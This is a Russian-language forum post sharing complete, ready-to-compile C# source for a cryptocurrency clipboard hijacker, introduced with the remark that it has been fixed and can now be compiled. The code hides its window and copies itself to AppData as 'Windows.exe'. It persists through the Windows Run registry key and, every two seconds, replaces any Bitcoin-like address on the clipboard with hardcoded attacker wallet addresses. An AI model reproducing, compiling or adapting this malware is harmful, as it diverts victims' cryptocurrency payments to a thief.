- Регистрация
- 21 Фев 2017
- Сообщения
- 219
- Реакции
- 74
- Баллы
- 3
Исправил, подправил можно компилить =)
[POSTS=50]
[/POSTS]
[POSTS=50]
Код:
using Microsoft.Win32;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;
internal class Program
{
private static bool current = false;
private static string savepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows.exe");
private const int SW_HIDE = 0;
private const int SW_SHOW = 5;
[DllImport("Kernel32")]
private static extern IntPtr GetConsoleWindow();
public static string GetUniqueNum(int maxSize)
{
char[] chArray = new char[0x3e];
chArray = "1234567890".ToCharArray();
byte[] data = new byte[1];
RNGCryptoServiceProvider provider = new RNGCryptoServiceProvider();
provider.GetNonZeroBytes(data);
data = new byte[maxSize];
provider.GetNonZeroBytes(data);
StringBuilder builder = new StringBuilder(maxSize);
foreach (byte num2 in data)
{
builder.Append(chArray[num2 % chArray.Length]);
}
return builder.ToString();
}
private static void Main(string[] args)
{
ShowWindow(GetConsoleWindow(), 0);
if (!File.Exists(savepath))
{
File.Copy(Application.ExecutablePath, savepath);
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
if (key != null)
{
key.SetValue("winstart", savepath);
}
}
else
{
RegistryKey key2 = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
if (key2 != null)
{
key2.SetValue("winstart", savepath);
}
}
System.Threading.Timer timer = new System.Threading.Timer(new System.Threading.TimerCallback(Program.TimerCallback), null, 0, 0x7d0);
while (true)
{
}
}
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
private static void TimerCallback(object o)
{
string idat = null;
Thread thread = new Thread(new ThreadStart(delegate {
try
{
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
if (key.GetValue("winstart") == null)
{
key.SetValue("winstart", savepath);
}
idat = Clipboard.GetText();
if (idat.StartsWith("1") && (idat.Length <= 0x22) && (idat.Length >= 0x19) && !idat.Contains("0") && !idat.Contains("O") && !idat.Contains("I") && !idat.Contains("l"))
{
if (current)
{
Clipboard.SetText("14i4FfZLTJpPB81T6Q1LybKSqxPSjduDdF");
current = false;
}
else
{
Clipboard.SetText("1CxZy3EfXrXUbKTNJHS79aPoxqLBLsB9Ra");
current = true;
}
}
else if (idat.StartsWith("3") && (idat.Length <= 0x22) && (idat.Length >= 0x19) && !idat.Contains("0") && !idat.Contains("O") && !idat.Contains("I") && !idat.Contains("l"))
{
if (current)
{
Clipboard.SetText("14i4FfZLTJpPB81T6Q1LybKSqxPSjduDdF");
current = false;
}
else
{
Clipboard.SetText("1CxZy3EfXrXUbKTNJHS79aPoxqLBLsB9Ra");
current = true;
}
}
}
catch (Exception)
{
}
}));
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
thread.Join();
}
}
Последнее редактирование: